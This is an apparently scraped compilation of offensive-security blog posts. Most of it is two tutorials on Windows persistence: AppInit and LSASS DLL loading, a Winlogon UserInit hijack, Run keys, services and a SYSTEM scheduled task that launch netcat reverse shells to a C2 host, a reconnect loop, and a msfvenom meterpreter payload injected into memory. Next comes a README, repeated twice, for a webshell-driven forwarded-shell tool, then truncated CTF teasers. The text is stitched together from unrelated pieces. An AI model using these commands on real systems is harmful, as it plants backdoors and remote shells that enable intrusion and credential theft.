Welcome back, aspiring cyberwarriors!

Persistence on Windows systems has always been a cat-and-mouse game between attackers looking for reliable footholds and defenders trying to close down avenues of abuse. Windows itself provides a wide range of mechanisms that are legitimate parts of system functionality, yet each of them can be turned into a way of ensuring malicious code runs again and again after reboot or logon. Registry values, system processes, and initialization routines are all potential targets for persistence, and while most of them were never designed with security in mind, they remain available today. What makes them attractive is durability: once configured, they survive restarts and provide repeated execution opportunities without requiring the attacker to manually re-enter the environment.

The techniques described here are all examples of registry-based persistence, each with its own advantages, drawbacks, and detection footprints. Understanding them is crucial for both attackers– who rely on stability– and defenders– who need to spot tampering before it causes damage.

AppInit

AppInit is a legacy Windows feature that tells the OS loader to map one or more DLLs into any process that links user32.dll. That means when many GUI apps start, Windows will automatically load the DLLs listed in that registry value, giving whatever code is inside those DLLs a chance to run inside those processes. It’s a registry-based, machine-wide mechanism that survives reboot and affects both 32-bit and 64-bit GUI applications when configured.

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter64.dll" /f

cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter32.dll" /f

The first command turns the AppInit behavior on for the 64-bit registry view. The second command writes the path to the DLL(s) that Windows should try to load into GUI processes (this value is a string of one or more DLL paths). The next two commands do the same thing for the 32-bit registry view on a 64-bit system. First it will enable the mechanism for 32-bit processes, and then set the 32-bit DLL path.

In plain terms: enable AppInit, tell Windows which DLLs to load, and do it for both 64-bit and 32-bit processes so GUI apps of both architectures will load the specified libraries.

Pros: survives reboots and causes the DLL to be loaded into many GUI processes automatically, giving broad coverage without per-user startup entries.

Cons: requires administrative rights to change HKLM, is noisy because the DLL will appear loaded in many processes (creating strong telemetry), and relies on an older, well-known mechanism that defenders often check.

If you’re a defender, focus on auditing the HKLM Windows keys (including the Wow6432Node path) and monitoring unusual DLL loads into system or common GUI processes.

LSASS

Modifying LSASS’s configuration to load an extra DLL is a way to get code executed inside a highly privileged, long-lived system process. LSASS is responsible for enforcing security policy and handling credentials. Because it loads configured authentication/notification packages at startup, adding an entry here causes the chosen module to be loaded into that process and remain active across reboots. That makes it powerful, but dangerous.

cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f

The registry command updates Notification Packages multi-string under the LSA key. In simple terms, this line tells Windows “when LSASS starts, also load the packages named rassfm, scecli, meter and force the write if the value already exists.”

Pros: survives reboots and places code inside a long-running, high-privilege process, making the persistence both durable and powerful.

Cons: requires administrative privileges to change the LSA registry, produces extremely high-risk telemetry and stability impact (misconfiguration or a buggy module can crash LSASS and destabilize or render the system unusable), and it is highly suspicious to defenders.

Putting code into LSASS buys durability and access to sensitive material, but it is one of the loudest and riskiest persistence techniques: it demands admin rights, creates strong signals for detection, and can crash the machine if done incorrectly.

Winlogon

Winlogon is the component that handles interactive user logons, and it calls the program(s) listed in the UserInit registry value after authentication completes. By appending an additional executable to that UserInit string you ensure your program is launched automatically every time someone signs in interactively. 

cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe, c:\meter.exe"

This keeps the normal userinit.exe first and appends c:\meter.exe, so when Winlogon runs it will launch userinit.exe and then meter.exe as part of the logon sequence. Be aware that UserInit must include the legitimate userinit.exe path first. Removing or misordering it can break interactive logons and lock users out.

Pros: survives reboots and reliably executes at every interactive user logon, giving consistent persistence across sessions.

Cons: requires administrative privileges to change HKLM, offers no scheduling control (it only runs at logon), and is risky, since misconfiguring the UserInit value can prevent users from logging in and produces obvious forensic signals.

Microsoft Office

Many Office components read configuration from the current user’s registry hive, and attackers can abuse that by inserting a path or DLL name that Office will load or reference when the user runs the suite. This approach is per-user and survives reboots because the configuration is stored in HKCU, but it only triggers when the victim actually launches the Office component that reads that key. It’s useful when the target regularly uses Office and you want a simple, low-privilege persistence mechanism that doesn’t require installing a service or touching machine-wide autoruns.

cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\meter.dll

Pros: survives reboots and works from a normal user account because it lives in HKCU, so no administrative rights are required.

Cons: there’s no scheduling control, it only triggers when the user launches the relevant Office component, so you cannot control an execution interval.

Summary

Windows persistence through registry modifications offers multiple paths, from legacy AppInit DLL injection to LSASS notification packages, Winlogon UserInit hijacking, and Office registry keys under HKCU. Each of these methods survives reboots, ensuring repeated code execution, but they vary in scope and stealth. AppInit and Office rely on application startup, while LSASS and Winlogon provide broader and more privileged coverage. All require different levels of access, with the most powerful options also being the loudest in telemetry and the riskiest to system stability. For defenders, the key takeaway is clear: monitoring critical registry keys under HKLM and HKCU, watching for unusual DLL or executable loads, and ensuring proper auditing are essential.

The post Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence first appeared on Hackers Arise.

Hello cyberwarriors!

This module takes the often-confusing topic of Windows persistence and turns it into a pragmatic playbook you can use during real engagements. In this part we start small and build up: short-lived shell loops that are easy to launch from any user context, autostart locations and registry Run keys that provide reliable logon-time execution, scheduled tasks that offer precise timing and powerful run-as options, Windows services that deliver the most durable, pre-logon persistence, and in-memory techniques that minimize on-disk traces. 

Techniques are shown with privileged # and non-privileged $ examples, so you can see what’s possible from the access you already have. Every method shows the balance between how secret it is, whether it stays after a restart, and what permissions you need to make it work.

Ultimately this module is designed to be immediately useful in the ongoing cyber conflict context. It is compact with repeatable techniques for maintaining access when appropriate.

Shell

Persistence can be achieved directly from a command prompt by creating a small looping construct that repeatedly launches a reverse or bind shell and then pauses for a fixed interval. The technique relies on a persistent cmd.exe process that keeps retrying the connection instead of using service registration or scheduled tasks. It’s a quick, user-space way to try to maintain an interactive foothold while the process lives. The example command is:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"

This runs a new command shell to execute the quoted loop. The for /L construct is used to execute the loop body repeatedly. In practice the parameters chosen here make the body run continuously. Inside the loop the nc.exe invocation attempts to connect back to the C2. 

The chained ping -n 60 127.0.0.1 acts as a simple portable sleep to insert a roughly one-minute delay between connection attempts.

Pros: allows a controllable retry interval and can be launched from any user account without special privileges.

Cons: the loop stops on reboot, logoff, or if the shell/window is closed, so it does not survive reboots.

This method is useful when you already have an interactive session and want a low-effort way to keep trying to reconnect, but it’s a volatile form of persistence. Treat it as temporary rather than reliable long-term access. From a defensive perspective, repeated processes with outbound network connections are a high-value detection signal.

Autostart

Autostart locations are the canonical Windows persistence vectors because the operating system itself will execute items placed there at user logon or system startup. The two typical approaches shown are copying an executable into a Startup folder and creating entries under the Run registry keys. Below are two separate techniques you can use depending on your privileges:

cmd$> copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"

cmd#> copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"

Placing an executable (or a shortcut to it) in a per-user Startup folder causes the Windows shell to launch that item when the specific user signs in. Using the ProgramData (all-users) Startup folder causes the item to be launched for any interactive login. 

Writing a value into HKCU\Software\Microsoft\Windows\CurrentVersion\Run registers a command line that will be executed at logon for the current user and can usually be created without elevated privileges. Writing into HKLM\Software\Microsoft\Windows\CurrentVersion\Run creates a machine-wide autorun and requires administrative rights. 

Pros: survives reboots and will automatically run at each interactive logon (per-user or machine-wide), providing reliable persistence across sessions. 

Cons: startup autoruns have no fine-grained execution interval (they only run at logon) and are a well-known, easily monitored location, making them more likely to be detected and removed.

Services

Using a Windows service to hold a backdoor is more robust than a simple autostart because the Service Control Manager (SCM) will manage the process lifecycle for you. Services can be configured to start at boot, run before any user logs on, run under powerful accounts (LocalSystem, NetworkService, or a specified user), and automatically restart if they crash. Creating a service requires administrative privileges, but once installed it provides a durable, system-integrated persistence mechanism that survives reboots and can recover from failures without manual intervention.

cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe C2 9001" start= auto

cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

cmd#> sc start persistence

The first line uses sc create to register a new service named persistence. The binPath= argument provides the command line the service manager will run when starting the service. In practice this should be a quoted path that includes any required arguments, and many administrators prefer absolute paths to avoid ambiguity. start= auto sets the service start type to automatic so SCM will attempt to launch it during system boot. 

The second line configures the service recovery policy with sc failure: reset= 0 configures the failure count reset interval (here set to zero, meaning the failure count does not automatically reset after a timeout), and actions= restart/60000/restart/60000/restart/60000 tells the SCM to attempt a restart after 60,000 milliseconds (60 seconds) on the first, second and subsequent failures. This allows the service to be automatically relaunched if it crashes or is killed. 

The third line, sc start persistence, instructs SCM to start the service immediately. 

Pros: survives reboot, runs before user logon, can run under powerful system accounts, and can be configured with automatic restart intervals via the service recovery options.

Cons: creating or modifying services requires administrative privileges and is highly visible and auditable (service creation, service starts/stops and related events are logged and commonly monitored by endpoint protection and EDR solutions).

Scheduled Tasks

Scheduled tasks are a convenient and flexible way to maintain access because the Windows Task Scheduler supports a wide variety of triggers, run-as accounts, and recovery behavior. Compared with simple autostart locations, scheduled tasks allow precise control over when and how often a program runs, can run under powerful system accounts, and survive reboots. Creating or modifying scheduled tasks normally requires administrative privileges.

cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe C2 9001"

Here the schtasks /create creates a new scheduled task named persistence. The /ru SYSTEM argument tells Task Scheduler to run the job as the SYSTEM account (no password required for well-known service accounts), which gives the payload high privileges at runtime. The /sc MINUTE /MO 1 options set the schedule type to “minute” with a modifier of 1, meaning the task is scheduled to run every minute. /tn persistence gives the task its name, and /tr "..." specifies the exact command line the task will execute when triggered. Because Task Scheduler runs scheduled jobs independently of an interactive user session, the task will execute even when no one is logged in, and it will persist across reboots until removed.

Pros: survives reboot and provides a tightly controlled, repeatable execution interval (you can schedule per-minute, hourly, daily, on specific events, or create complex triggers), and tasks can be configured to run under high-privilege accounts such as SYSTEM.

Cons: creating or modifying scheduled tasks typically requires administrative privileges and Task Scheduler events are auditable and commonly monitored by enterprise defenses.

In-Memory

In-memory persistence refers to techniques that load malicious code directly into a running process’s memory without writing a persistent binary to disk. The goal is to maintain a live foothold while minimizing on-disk artifacts that antiviruses and file-based scanners typically inspect. A common pattern is to craft a payload that is intended to execute only in RAM and then use some form of process injection (for example, creating a remote thread in a legitimate process, reflective DLL loading, or other in-memory execution primitives) to run that payload inside a benign host process. The technique is often used for short-lived stealthy access, post-exploitation lateral movement, or when the attacker wants to avoid leaving forensic traces on disk.

First you generate a payload with msfvenom:

c2 > msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999

And then inject it into a running process:

cmd$> inject_windows.exe PID meter64.bin

Pros: extremely low on-disk footprint and difficult for traditional antivirus to detect, since there is no persistent executable to scan and many memory-only operations generate minimal file or registry artifacts.

Cons: does not survive a reboot and requires a mechanism to get code into a process’s memory (which is often noisy and produces behavioral telemetry that modern endpoint detection and response solutions can flag).

Defenders may monitor for anomalous process behavior such as unexpected parent/child relationships, unusual modules loaded into long-lived system processes, creation of remote threads, or unusual memory protections being changed at runtime.

Summary

We explored different basic Windows persistence options by comparing durability, visibility, and privilege requirements: simple shell loops let you keep retrying a connection from a user shell without elevation but stop at logoff or reboot. Autostart provides reliable logon-time execution and can be per-user or machine-wide depending on privileges. Scheduled tasks give precise, repeatable execution (including SYSTEM) and survive reboots. Services offer the most durable, pre-logon, auto-restarting system-level persistence but require administrative rights and are highly auditable. In-memory techniques avoid on-disk artifacts and are stealthier but do not persist across reboots and often produce behavioral telemetry. The core trade-off is that greater restart resilience and privilege typically mean more detectable forensic signals, defenders should therefore watch for repeated outbound connection patterns, unexpected autoruns, newly created services or scheduled tasks, and anomalous in-memory activity.

In the first part of Advanced Windows Persistence, we will dive into advanced techniques that will leverage the Configs, Debugger, GFlags and WMI.

The post Post Exploitation: Maintaining Persistence in Windows first appeared on Hackers Arise.

██████╗ ███████╗███████╗██╗  ██╗███████╗██╗     ██╗     
██╔══██╗██╔════╝██╔════╝██║  ██║███╔═══╝██║     ██║     
██║  ██║█████╗  ███████╗███████║█████╗  ██║     ██║     
██║  ██║██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║     
██████╔╝██║     ███████║██║  ██║███████╗████████╗███████╗
╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                      

D3Ext's Forwarded Shell it's a python3 script which use mkfifo to simulate a shell into the victim machine. It creates a hidden directory in /dev/shm/.fs/ and there are stored the fifos. You can even have a tty over a webshell.

In case you want a good webshell with code obfuscation, login panel and more functions you have this webshell (scripted by me), you can change the username and the password at the top of the file, it also have a little protection in case of beeing discovered because if the webshell is accessed from localhost it gives a 404 status code

Why you should use DFShell?

To use other forwarded shells you have to edit the script to change the url and the parameter of the webshell, but DFShell use parameters to quickly pass the arguments to the script (-u/--url and -p/--parameter), the script have a pretty output with colors, you also have custom commands to upload and download files from the target, do port and host discovery, and it deletes the files created on the victim if you press Ctrl + C or simply exit from the shell.

*If you change the actual user from webshell (or anything get unstable) then execute: 'sh'*

Installation:

Install with pip

pip3 install dfshell

Install from source

git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements

One-liner

git clone https://github.com/D3Ext/DFShell && cd DFShell && pip3 install -r requirements

Usage:

It's simple, you pass the url of the webshell and the parameter that executes commands. I recommend you the most simple webshell

python3 DFShell.py -u http://10.10.10.10/webshell.php -p cmd

Demo:

██████╗ ███████╗███████╗██╗  ██╗███████╗██╗     ██╗     
██╔══██╗██╔════╝██╔════╝██║  ██║███╔═══╝██║     ██║     
██║  ██║█████╗  ███████╗███████║█████╗  ██║     ██║     
██║  ██║██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║     
██████╔╝██║     ███████║██║  ██║███████╗████████╗███████╗
╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                      

D3Ext's Forwarded Shell it's a python3 script which use mkfifo to simulate a shell into the victim machine. It creates a hidden directory in /dev/shm/.fs/ and there are stored the fifos. You can even have a tty over a webshell.

In case you want a good webshell with code obfuscation, login panel and more functions you have this webshell (scripted by me), you can change the username and the password at the top of the file, it also have a little protection in case of beeing discovered because if the webshell is accessed from localhost it gives a 404 status code

Why you should use DFShell?

To use other forwarded shells you have to edit the script to change the url and the parameter of the webshell, but DFShell use parameters to quickly pass the arguments to the script (-u/--url and -p/--parameter), the script have a pretty output with colors, you also have custom commands to upload and download files from the target, do port and host discovery, and it deletes the files created on the victim if you press Ctrl + C or simply exit from the shell.

*If you change the actual user from webshell (or anything get unstable) then execute: 'sh'*

Installation:

Install with pip

pip3 install dfshell

Install from source

git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements

One-liner

git clone https://github.com/D3Ext/DFShell && cd DFShell && pip3 install -r requirements

Usage:

It's simple, you pass the url of the webshell and the parameter that executes commands. I recommend you the most simple webshell

python3 DFShell.py -u http://10.10.10.10/webshell.php -p cmd

Demo:

Continue readingThe Binary Exploitation: Stack based Buffer overflow

Vulnhub Koptrix Level 1 (OSCP like machines) writeup is here for those looking to root this machine. CTFs are fun and great learning, today we are solving a very simple CTF called Koptrix Level 1, the machine can be downloaded from – This Link. As I saw the machine to be beginner level and part […]

The post Vulnhub Koptrix 1 Writeup [OSCP Like machines] appeared first on Ethical Hacking Tutorials.

Last week I was working on retried HTB machine Optimum. Cool example for simple enumeration with attack using vulnerability for service (web file server), and then privilege escalation using local exploit for unpatched Windows 2012 server. It is example of real case scenario. Great to make